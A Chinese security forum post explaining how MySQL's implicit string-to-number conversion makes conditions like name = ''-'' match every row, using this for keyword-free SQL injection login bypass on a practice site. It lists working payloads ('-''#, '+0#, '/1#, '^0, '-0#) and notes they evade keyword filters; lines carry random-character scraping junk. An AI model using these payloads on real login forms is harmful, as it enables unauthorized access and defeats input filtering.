找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2515|回复: 0
打印 上一主题 下一主题

使用MySQL字符串运算实施精巧化SQL注入攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-23 16:20:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
我们先来看这样一个场景。) A, @# t, M* [5 c) a+ H1 H
有以下表结构:
6 ]- C& p8 u1 o
  J9 x6 B3 e) |mysql> desc admin;
) y& R! M' _' _. H0 P+----------+--------------+------+-----+---------+----------------+3 ]1 v4 o" g/ a# Y  T, n
| Field    | Type         | Null | Key | Default | Extra          |: N* L5 I1 g# r, Y
+----------+--------------+------+-----+---------+----------------+( J# \9 ?" l; r' L  g- x9 z  ?
| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |. z* h4 |  A# A2 U5 \
| name     | char(32)     | NO   | UNI | NULL    |                |
0 q3 P3 b" c4 g3 q/ d% `| password | char(32)     | NO   | UNI | NULL    |                |) D  U: h" _9 I- _
+----------+--------------+------+-----+---------+----------------+- ~, L# _4 m; U3 V& k% r9 C0 Q8 J
3 rows in set (0.00 sec)
/ F6 ^+ }" d/ ~) [( b; f+ d3 R7 F5 C执行select * from admin;,成功返回所有记录内容。
* b: G2 u# A$ x: f
: n$ T3 w# O+ F( W! ~
4 j, {! J4 e/ _4 o2 z+----+--------+----------------------------------+" `5 k" I. J+ I: L& n* K
| id | name   | password                         |. V5 }7 [7 K4 o( T* R
+----+--------+----------------------------------+" ^$ [5 E3 H" L5 K( ^. f$ U
|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |0 I$ S8 f7 ^7 ~& p
|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |8 C; S0 K* }/ F, Y' q
|  4 | n00b   | ff80e8508d39047460921792273533a4 |
5 e6 U  X8 w; |. L+----+--------+----------------------------------+; U: x! C- D" {/ S! {# X4 ^
3 rows in set (0.00 sec)2 x7 `; n9 s/ }
执行select * from admin where name=”;,没有匹配到任何记录。
% A  L9 W' d; }$ R5 m2 H1 C/ V) k0 i# T5 S1 b- F
mysql> select * from admin where name = '';2 u  [0 s1 `" z0 n
Empty set (0.00 sec)) w7 G, c3 a: x9 A0 ]7 f/ y. ?
那么我们来执行select * from admin where name = ”-”;
9 s& P: W; t( j& |8 P* @1 M4 O
5 i/ K% q5 w5 y) L
+----+--------+----------------------------------+
" j, S* d! @2 W8 A% t* ^- p| id | name   | password                         |
3 O# _! O: P% L. M  ~! g+----+--------+----------------------------------++ R' P; p6 J- U5 _
|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |6 M0 z- U$ `  d
|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |/ i; J7 x+ n! ~& a5 i# V+ b' ^8 G
|  4 | n00b   | ff80e8508d39047460921792273533a4 |0 B: }3 d4 V. y; \
+----+--------+----------------------------------+5 o! y. E$ Y' H4 E( R
3 rows in set, 3 warnings (0.00 sec)
) Z9 m$ q3 V& Q, s/ m$ f+ G$ _8 j; U$ _可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息:
8 |" A: R; t+ c3 B' j
: J3 u' T$ y1 [7 C7 U2 z5 |mysql> show warnings;$ j& z8 b+ t: c2 I
+---------+------+------------------------------------------
% u7 l% F8 w: L* U% d! A) c| Level   | Code | Message
9 B" S! a0 G8 S  R- y+---------+------+------------------------------------------
" G: z! U" I5 @3 l( @( C" V8 j| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin5 [( i; ~. p! g: X
| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
' f% R* B' ?  m% W( W| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b
' k( V( e: @$ Q$ }, ]9 @+---------+------+------------------------------------------$ d: Y  ]" t: c5 B, K$ h) h
3 rows in set (0.00 sec)& x! p% S$ B7 ]5 {
提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。
  F* c2 i, O3 s: u4 D2 \1 V1 e5 ~- f
; ?" [6 b% V, R8 {5 q, l$ [mysql> select ''-'';
1 o# {* f% Y% d5 i# ~- k% c/ T/ G4 X7 G+-------+
/ q3 |6 `5 w5 j& `* ]5 h- C6 N' G: }0 r| ''-'' |6 T3 t8 f( Z3 w( e
+-------+5 M% W' ?2 z! n$ |( k
|     0 |
4 v1 {, N3 I! U& V4 _; o$ D2 d+-------+# [3 d, f/ M$ T) r
1 row in set (0.00 sec)
: P0 ?" m, a0 B/ {5 e: J: u5 D& o$ A返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: * f  F5 w6 C7 ~; L- J

4 ~5 r1 }  W% i/ O8 wmysql> select CAST((select name from admin limit 1,1) as DECIMAL);
( t  J3 a- H+ C- M3 [7 J+-----------------------------------------------------+
, f1 L% `* m& Q; I" ?| CAST((select name from admin limit 1,1) as DECIMAL) |
( m" ]2 I7 ?$ x& M' l; w. t+-----------------------------------------------------+9 P. L6 `& {# D5 D
|                                                   0 |
# W& c3 W- K- K/ N& m/ G+-----------------------------------------------------+, |8 @4 ?5 m6 L' {" \# F
1 row in set, 1 warning (0.00 sec)' ]5 ], @. j) l
因此where语句构成了相等的条件,where 0=”=”,记录被返回。 4 S% n9 H4 B1 g1 l0 i/ ^

: r1 C1 Z9 O# A* v" d2 k0 WSQL注入场景: http://www.sqlzoo.net/hack/ 9 j; e7 j% L  Z. m
8 n9 i4 B$ d5 x; O9 ^

8 o0 d' D. d/ l' e; G3 o4 P  `  s3 M7 M7 L; q1 \
, S# H* A7 l& M! }2 ^# h: J7 ]# Z
如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。
# Y) f$ ^  j# ~& H$ q' v  _$ O) K$ b! D% f
那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。
, c& P5 u: l. b! x( _$ Y
: ?. `: @9 B  W' ]+ R- [) E; {1 _2 Z1 E
! M3 \9 @* h' C# B7 L7 W7 d6 y- [) D# f) A: z
4 u- z. w- H4 [7 q1 ?( \& B9 v
仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 % R, U. ?( ]% O8 P, L+ \0 W; E
4 o7 P4 T* ^* I8 `8 i* A6 _! W
   
8 J2 o) b& X5 @
# Q( Q8 P/ M9 u3 u, e# S6 c" X5 X除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可
, g6 p  n1 k/ h, b% i$ K: w5 j% \6 F7 \3 Z: p# @
. a! b$ o2 \  u
mysql> select ''/1;6 u3 P4 b+ T4 y1 j& M- B$ r! q8 `5 b& {( T
+------+
4 i  Q+ ~) E) o# h$ J& S| ''/1 |. g& i- H1 e2 j  H) C
+------++ M9 @& S/ [5 h4 [" f( W
|    0 |" o9 y4 l: c  U- S# [
+------+2 j& M; U/ j" @& V* `
1 row in set (0.00 sec)( y- \- J7 E; u) B
类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。  / ^, @, o2 c' z5 x) [2 p

& j: J6 T3 H2 l" Y& b利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。9 A. M- a: q. C* R! Y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表